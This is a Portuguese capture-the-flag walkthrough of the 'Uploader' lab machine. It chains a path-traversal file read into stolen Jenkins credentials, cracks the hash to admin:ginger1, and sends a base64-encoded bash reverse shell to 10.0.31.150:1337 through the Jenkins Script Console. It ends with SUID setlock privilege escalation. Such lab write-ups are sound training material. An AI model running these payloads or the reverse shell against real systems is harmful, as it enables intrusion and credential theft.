- Published on
Uploader Writeup
- Authors
- Name
- Gabriel Silva
- @gabriel-silva-509347165
Plataforma: Hacking Club
Dificuldade: Easy
Nome: Uploader
Port Scanning
nmap -sV -sC -p- -v $IP --open
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a8:1f:3c:4b:d9:ee:93:28:2d:a3:b8:9f:f0:cf:17:37 (ECDSA)
|_ 256 ac:e2:d9:11:33:bc:69:81:23:8a:35:ed:91:20:14:c8 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET POST
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Index
|_http-server-header: Apache/2.4.52 (Ubuntu)
8080/tcp open http Jetty 10.0.18
|_http-favicon: Unknown favicon MD5: 23E8C7BD78E8CD826C5A6073B15068B1
|_http-server-header: Jetty(10.0.18)
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
| http-robots.txt: 1 disallowed entry
|_/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Somente as porta 80, 8080 e 22 estão abertas
Enumeration
http://172.16.10.47:80
Uma aplicação de upload de imagens
http://172.16.10.47:8080
Aplicação rodando um Jenkins
Tentei algumas credenciais default, mas não obtive sucesso.
Voltando ao servidor web na porta 80
Tentei utilizar a funcionalidade pra subir uma web-shell em php, mas não obtive sucesso, a aplicação está validando.
Então, capturei a requisição com o Burp e comecei a testar por LFI.
....//....//....//....//....//....//etc/passwd
LFI Encontrado!
Tentei escalar o LFI pra RCE utilizando log poisoning, mas não obtive sucesso 😞.
Como a aplicação rodando na porta 8080 se trata de um Jenkins, vamos utilizar o LFI pra ler os arquivos de configuração do servidor.
/var/lib/jenkins/users/users.xml
De acordo com o arquivo users.xml
, existe um outro diretório chamado admin_10281833997561721098
. Dentro desse diretório, conseguimos acessar o arquivo de configuração do Jenkins.
/var/lib/jenkins/users/admin_10281833997561721098/config.xml
Com o hash em mãos, vamos utilizar o hashcat pra tentar quebrar.
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt
Com as credenciais admin:ginger1
conseguimos logar no Jenkins
Foot Hold
O jenkins possui uma funcionalidade chamada ‘Script Console’, que podemos abusar pra rodar uma reverse-shell utilizando Groovy Script.
http://172.16.10.47:8080/manage/script
Nesse caso, a aplicação por alguma razão não executa a rev-shell, a alternativa foi encodar a payload em base64 para funcionar.
echo "bash -c 'exec bash -i &>/dev/tcp/10.0.31.150/1337 <&1'" | base64
Agora só enviar e pegar a shell.
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTAuMC4zMS4xNTAvMTMzNyA8JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
Privillege Escalation
SUID setlock
find / -type f -perm -04000 -ls 2>/dev/null
/usr/bin/setlock - /bin/sh -p
Referencia
https://gtfobins.github.io/gtfobins/setlock/#suid